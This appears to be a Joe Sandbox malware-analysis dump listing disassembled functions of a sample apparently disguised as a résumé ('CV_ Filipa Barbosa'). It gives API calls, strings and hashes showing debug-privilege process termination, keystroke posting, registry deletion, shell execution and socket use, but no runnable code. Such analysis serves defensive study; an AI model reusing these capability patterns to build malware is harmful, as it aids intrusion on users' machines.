                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
                                                                          • String ID: SeDebugPrivilege
                                                                          • API String ID: 2533919879-2896544425
                                                                          • Opcode ID: f02894200b2369323161a2074addb51f43dc7a3cacfa75ee65a6ec1d83d8e592
                                                                          • Instruction ID: ccf0202e65e65b0fa131f6f5109599b926df1dd676892235aa28950f28265b1c
                                                                          • Opcode Fuzzy Hash: f02894200b2369323161a2074addb51f43dc7a3cacfa75ee65a6ec1d83d8e592
                                                                          • Instruction Fuzzy Hash: 0941C471600206AFDB15EF58C9AAFBD7BA2BF44310F048459FA069F3C2DB799900CB55
                                                                          Function 005D5819 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LoadIconW.USER32(00000000,00007F03), ref: 005D58B8
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: IconLoad
                                                                          • String ID: blank$info$question$stop$warning
                                                                          • API String ID: 2457776203-404129466
                                                                          • Opcode ID: b20065af4c1079531f1b12412da3599d1c00d1be2007ba2c63983c5ad5018f8c
                                                                          • Instruction ID: 203169c893c99bde290874229a6b72669aa2283e33573b3bdccbb7311a6b62ef
                                                                          • Opcode Fuzzy Hash: b20065af4c1079531f1b12412da3599d1c00d1be2007ba2c63983c5ad5018f8c
                                                                          • Instruction Fuzzy Hash: 5711B736709757BEEB255A589C82DAB6FADBF55324B30403BF501E63C2F7A0AA005264
                                                                          Function 005FA2C8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 75windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005AD17C: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 005AD1BA
                                                                            • Part of subcall function 005AD17C: GetStockObject.GDI32(00000011), ref: 005AD1CE
                                                                            • Part of subcall function 005AD17C: SendMessageW.USER32(00000000,00000030,00000000), ref: 005AD1D8
                                                                          • SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 005FA32D
                                                                          • SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 005FA33A
                                                                          • SendMessageW.USER32(?,00000402,00000000,00000000), ref: 005FA345
                                                                          • SendMessageW.USER32(?,00000401,00000000,ICTRLCREATETREEVIEW), ref: 005FA354
                                                                          • SendMessageW.USER32(?,00000404,00000001,00000000), ref: 005FA360
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$CreateObjectStockWindow
                                                                          • String ID: ICTRLCREATETREEVIEW$Msctls_Progress32
                                                                          • API String ID: 1025951953-3954264389
                                                                          • Opcode ID: 2b294312f239c7d787a61b6d1d63aa9fd4b9e885425acb67c368e8e73d54a4b7
                                                                          • Instruction ID: c55e038a4edb1a9f619785bbd01ade6231aacf5e01494c55dc6023d0bf5adb0f
                                                                          • Opcode Fuzzy Hash: 2b294312f239c7d787a61b6d1d63aa9fd4b9e885425acb67c368e8e73d54a4b7
                                                                          • Instruction Fuzzy Hash: 971190B115021DBEEF119F60CC86EEB7F6DFF09798F014115BB08A60A0C6769C22DBA4
                                                                          Function 005DA729 Relevance: 12.3, APIs: 8, Instructions: 317COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SafeArrayGetVartype.OLEAUT32(?,00000000), ref: 005DA806
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: ArraySafeVartype
                                                                          • String ID:
                                                                          • API String ID: 1725837607-0
                                                                          • Opcode ID: 27063fc010d8d4b75f83f5c1537c7602e23a6af4d0384579060fabeb5160548c
                                                                          • Instruction ID: 55767ea6b29ca4e30a69408af80e75fddc20955fceeb333386bab51991d15071
                                                                          • Opcode Fuzzy Hash: 27063fc010d8d4b75f83f5c1537c7602e23a6af4d0384579060fabeb5160548c
                                                                          • Instruction Fuzzy Hash: 15C16875A0021A9FDB20DF98C495BAEBBF5FF09311F24846BE605E7381D734AA41CB91
                                                                          Function 005D6B49 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 46windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 005D6B63
                                                                          • LoadStringW.USER32(00000000), ref: 005D6B6A
                                                                          • GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 005D6B80
                                                                          • LoadStringW.USER32(00000000), ref: 005D6B87
                                                                          • _wprintf.LIBCMT ref: 005D6BAD
                                                                          • MessageBoxW.USER32(00000000,?,?,00011010), ref: 005D6BCB
                                                                          Strings
                                                                          • %s (%d) : ==> %s: %s %s, xrefs: 005D6BA8
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: HandleLoadModuleString$Message_wprintf
                                                                          • String ID: %s (%d) : ==> %s: %s %s
                                                                          • API String ID: 3648134473-3128320259
                                                                          • Opcode ID: 275b74e8b561b26f96f18a02f04a6f24f077d8986c1a1de7a3db966c0b99b45f
                                                                          • Instruction ID: 5b0f5b2b694818beb742f1371b8246fb47418273563a84e6027b3b7cfed2f640
                                                                          • Opcode Fuzzy Hash: 275b74e8b561b26f96f18a02f04a6f24f077d8986c1a1de7a3db966c0b99b45f
                                                                          • Instruction Fuzzy Hash: 6A0181F2900258BFEB11ABA49D89EF7776DE708304F0484A3B746E2141EA749E848F70
                                                                          Function 005F2B19 Relevance: 12.3, APIs: 8, Instructions: 251registryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005F3C06: CharUpperBuffW.USER32(?,?,?,?,?,?,?,005F2BB5,?,?), ref: 005F3C1D
                                                                          • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 005F2BF6
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: BuffCharConnectRegistryUpper
                                                                          • String ID:
                                                                          • API String ID: 2595220575-0
                                                                          • Opcode ID: 7f3fd9d1294c55eb5dfface1e43438d93c97d1bab02bfda2f832e94984728825
                                                                          • Instruction ID: a083847803e302211ffe1c36f4cec2c80b3713534550c1564f75c1d48c4c429b
                                                                          • Opcode Fuzzy Hash: 7f3fd9d1294c55eb5dfface1e43438d93c97d1bab02bfda2f832e94984728825
                                                                          • Instruction Fuzzy Hash: B4914B71204206AFCB10EF58C895B6EBBE5FF88314F04885DFA9697291DB35ED46CB42
                                                                          Function 005E95BF Relevance: 12.2, APIs: 8, Instructions: 247networkCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • select.WSOCK32 ref: 005E9691
                                                                          • WSAGetLastError.WSOCK32(00000000), ref: 005E969E
                                                                          • __WSAFDIsSet.WSOCK32(00000000,?,00000000), ref: 005E96C8
                                                                          • #17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 005E96E9
                                                                          • WSAGetLastError.WSOCK32(00000000), ref: 005E96F8
                                                                          • htons.WSOCK32(?,?,?,00000000,?), ref: 005E97AA
                                                                          • inet_ntoa.WSOCK32(?,?,?,?,?,?,?,?,?,?,?,?,0062DC00), ref: 005E9765
                                                                            • Part of subcall function 005CD2FF: _strlen.LIBCMT ref: 005CD309
                                                                          • _strlen.LIBCMT ref: 005E9800
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: ErrorLast_strlen$htonsinet_ntoaselect
                                                                          • String ID:
                                                                          • API String ID: 3480843537-0
                                                                          • Opcode ID: f0b9316d8205262be2d3e49252acc8c34a1b9c267dc84d05f36ca50b79b6052f
                                                                          • Instruction ID: 40fbbf25b9c5a1cd700cdd7588b4efd42cd6aef0516324dc6c37ea0db39f3dc8
                                                                          • Opcode Fuzzy Hash: f0b9316d8205262be2d3e49252acc8c34a1b9c267dc84d05f36ca50b79b6052f
                                                                          • Instruction Fuzzy Hash: 3781CF71504241ABCB14EF65CC89E6FBFA9FBC5710F104A1DF5959B2A1EB30D904CBA2
                                                                          Function 005BA979 Relevance: 12.1, APIs: 8, Instructions: 118COMMONLIBRARYCODE
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • __mtinitlocknum.LIBCMT ref: 005BA991
                                                                            • Part of subcall function 005B7D7C: __FF_MSGBANNER.LIBCMT ref: 005B7D91
                                                                            • Part of subcall function 005B7D7C: __NMSG_WRITE.LIBCMT ref: 005B7D98
                                                                            • Part of subcall function 005B7D7C: __malloc_crt.LIBCMT ref: 005B7DB8
                                                                          • __lock.LIBCMT ref: 005BA9A4
                                                                          • __lock.LIBCMT ref: 005BA9F0
                                                                          • InitializeCriticalSectionAndSpinCount.KERNEL32(8000000C,00000FA0,00646DE0,00000018,005C5E7B,?,00000000,00000109), ref: 005BAA0C
                                                                          • EnterCriticalSection.KERNEL32(8000000C,00646DE0,00000018,005C5E7B,?,00000000,00000109), ref: 005BAA29
                                                                          • LeaveCriticalSection.KERNEL32(8000000C), ref: 005BAA39
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: CriticalSection$__lock$CountEnterInitializeLeaveSpin__malloc_crt__mtinitlocknum
                                                                          • String ID:
                                                                          • API String ID: 1422805418-0
                                                                          • Opcode ID: 4add72406de9b81a848d65a1dd1cf63b69f07b409826b0814d76efc559b715be
                                                                          • Instruction ID: 7963f2139bfca006ccb443f72ad6ac139e8310fd895a1e95cdbe6b9e968a5057
                                                                          • Opcode Fuzzy Hash: 4add72406de9b81a848d65a1dd1cf63b69f07b409826b0814d76efc559b715be
                                                                          • Instruction Fuzzy Hash: 284117719007069BEB10DF68DA447DCBFB1BF45325F248219E435AB2D1D774B940CBA2
                                                                          Function 005F8ECC Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • DeleteObject.GDI32(00000000), ref: 005F8EE4
                                                                          • GetDC.USER32(00000000), ref: 005F8EEC
                                                                          • GetDeviceCaps.GDI32(00000000,0000005A), ref: 005F8EF7
                                                                          • ReleaseDC.USER32(00000000,00000000), ref: 005F8F03
                                                                          • CreateFontW.GDI32(?,00000000,00000000,00000000,00000000,?,?,?,00000001,00000004,00000000,?,00000000,?), ref: 005F8F3F
                                                                          • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 005F8F50
                                                                          • MoveWindow.USER32(?,?,?,?,?,00000000,?,?,005FBD19,?,?,000000FF,00000000,?,000000FF,?), ref: 005F8F8A
                                                                          • SendMessageW.USER32(?,00000142,00000000,00000000), ref: 005F8FAA
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
                                                                          • String ID:
                                                                          • API String ID: 3864802216-0
                                                                          • Opcode ID: 8b6b41b75e13b05a0f5e4ff482fbe7987f1bf53bf43777e16b9f37b9dd2e6f40
                                                                          • Instruction ID: 3521a3507f4cd31372e1bae6ea1f7b94a743d324ab774af43920281af8809cf7
                                                                          • Opcode Fuzzy Hash: 8b6b41b75e13b05a0f5e4ff482fbe7987f1bf53bf43777e16b9f37b9dd2e6f40
                                                                          • Instruction Fuzzy Hash: 91313C72200614BFEB118F50CC4AFFA3FAAFB49755F084065FE099A191D6799841CBB4
                                                                          Function 00600133 Relevance: 10.7, APIs: 7, Instructions: 245windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005AB34E: GetWindowLongW.USER32(?,000000EB), ref: 005AB35F
                                                                          • GetSystemMetrics.USER32(0000000F), ref: 0060016D
                                                                          • MoveWindow.USER32(00000003,?,00000000,00000001,00000000,00000000,?,?,?), ref: 0060038D
                                                                          • SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 006003AB
                                                                          • InvalidateRect.USER32(?,00000000,00000001,?), ref: 006003D6
                                                                          • SendMessageW.USER32(00000003,00000469,?,00000000), ref: 006003FF
                                                                          • ShowWindow.USER32(00000003,00000000), ref: 00600421
                                                                          • DefDlgProcW.USER32(?,00000005,?,?), ref: 00600440
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Window$MessageSend$InvalidateLongMetricsMoveProcRectShowSystem
                                                                          • String ID:
                                                                          • API String ID: 3356174886-0
                                                                          • Opcode ID: 810800713f6626eae06ad86360dc1645290dc06448ce98558f8f88a2819a2bee
                                                                          • Instruction ID: caff3f95f3c6747f1296f0bd0a65615662fa47ad4b21e667a0f467faa5da61bb
                                                                          • Opcode Fuzzy Hash: 810800713f6626eae06ad86360dc1645290dc06448ce98558f8f88a2819a2bee
                                                                          • Instruction Fuzzy Hash: E8A19D35640616EBEB1DCF68C9897FEBBB2BF08701F088115ED54AB290D774AD61CB90
                                                                          Function 005AAE78 Relevance: 10.7, APIs: 7, Instructions: 218COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: aa922f44e90e35b832e001bc11f77fa848e9b8e887fa11ef5cd526ef8101e883
                                                                          • Instruction ID: e34f3a4d5355f3c2c417b6febea53ddb3969250c0978199b0ba5ea61fd8d267a
                                                                          • Opcode Fuzzy Hash: aa922f44e90e35b832e001bc11f77fa848e9b8e887fa11ef5cd526ef8101e883
                                                                          • Instruction Fuzzy Hash: 85717DB4900109EFDB08CF98CC89AEEBF75FF8A314F148549F915A6251D735AA41CFA1
                                                                          Function 005F2230 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 191COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _memset.LIBCMT ref: 005F225A
                                                                          • _memset.LIBCMT ref: 005F2323
                                                                          • ShellExecuteExW.SHELL32(?), ref: 005F2368
                                                                            • Part of subcall function 0059936C: __swprintf.LIBCMT ref: 005993AB
                                                                            • Part of subcall function 0059936C: __itow.LIBCMT ref: 005993DF
                                                                            • Part of subcall function 005AC6F4: _wcscpy.LIBCMT ref: 005AC717
                                                                          • CloseHandle.KERNEL32(00000000), ref: 005F242F
                                                                          • FreeLibrary.KERNEL32(00000000), ref: 005F243E
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: _memset$CloseExecuteFreeHandleLibraryShell__itow__swprintf_wcscpy
                                                                          • String ID: @
                                                                          • API String ID: 4082843840-2766056989
                                                                          • Opcode ID: 033a835f8e60d5d181c5f44702f6dfde29a756334b0fd9b0afb525a569946fb3
                                                                          • Instruction ID: e8bcbcc7c73340959f4a23b8803fd3bcd6706629bb39333958876124b2321aac
                                                                          • Opcode Fuzzy Hash: 033a835f8e60d5d181c5f44702f6dfde29a756334b0fd9b0afb525a569946fb3
                                                                          • Instruction Fuzzy Hash: 09716FB490061A9FCF05EFA8C4959AEBFF5FF48310F108459E955AB391DB34AD40CB90
                                                                          Function 005D3BC3 Relevance: 10.7, APIs: 7, Instructions: 164windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetParent.USER32(00000000), ref: 005D3C02
                                                                          • GetKeyboardState.USER32(?), ref: 005D3C17
                                                                          • SetKeyboardState.USER32(?), ref: 005D3C78
                                                                          • PostMessageW.USER32(00000000,00000100,00000010,?), ref: 005D3CA4
                                                                          • PostMessageW.USER32(00000000,00000100,00000011,?), ref: 005D3CC1
                                                                          • PostMessageW.USER32(00000000,00000100,00000012,?), ref: 005D3D05
                                                                          • PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 005D3D26
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: MessagePost$KeyboardState$Parent
                                                                          • String ID:
                                                                          • API String ID: 87235514-0
                                                                          • Opcode ID: ac06d94fad8d6821ee0a5c62c7243537b0764cb4455229caa12afb1798f8af1e
                                                                          • Instruction ID: c7424a4b1fd666332307629d282f24b50fd0671d6d5d5131be488ed5b04b9d9d
                                                                          • Opcode Fuzzy Hash: ac06d94fad8d6821ee0a5c62c7243537b0764cb4455229caa12afb1798f8af1e
                                                                          • Instruction Fuzzy Hash: 425116A05047D53DFB32932C8C45BB6BF9A7F06340F0C848BE0D5566D2D2A5EE84DB62
                                                                          Function 005D7DB1 Relevance: 10.6, APIs: 7, Instructions: 137timeCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: _wcsncpy$LocalTime
                                                                          • String ID:
                                                                          • API String ID: 2945705084-0
                                                                          • Opcode ID: 6b7ba6dfa36ff53578c31b815e3618b989d4b462fa4170c9987eefca1ec1f83b
                                                                          • Instruction ID: c9c84ba5a955d021c08eb2499be28f6182023245095dcf939ff92976e4deecee
                                                                          • Opcode Fuzzy Hash: 6b7ba6dfa36ff53578c31b815e3618b989d4b462fa4170c9987eefca1ec1f83b
                                                                          • Instruction Fuzzy Hash: 46416266C10219B6CB20EBF4884B9CFBBACFF85310F548967E504E3262F634E615C3A5
                                                                          Function 005F3D72 Relevance: 10.6, APIs: 7, Instructions: 100registryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?,?,?), ref: 005F3DA1
                                                                          • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 005F3DCB
                                                                          • FreeLibrary.KERNEL32(00000000), ref: 005F3E80
                                                                            • Part of subcall function 005F3D72: RegCloseKey.ADVAPI32(?), ref: 005F3DE8
                                                                            • Part of subcall function 005F3D72: FreeLibrary.KERNEL32(?), ref: 005F3E3A
                                                                            • Part of subcall function 005F3D72: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 005F3E5D
                                                                          • RegDeleteKeyW.ADVAPI32(?,?), ref: 005F3E25
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: EnumFreeLibrary$CloseDeleteOpen
                                                                          • String ID:
                                                                          • API String ID: 395352322-0
                                                                          • Opcode ID: 7f73a092dce71d0f9e1cfef1251453a567e6a31e04e3b15188a25cd34ae9d96c
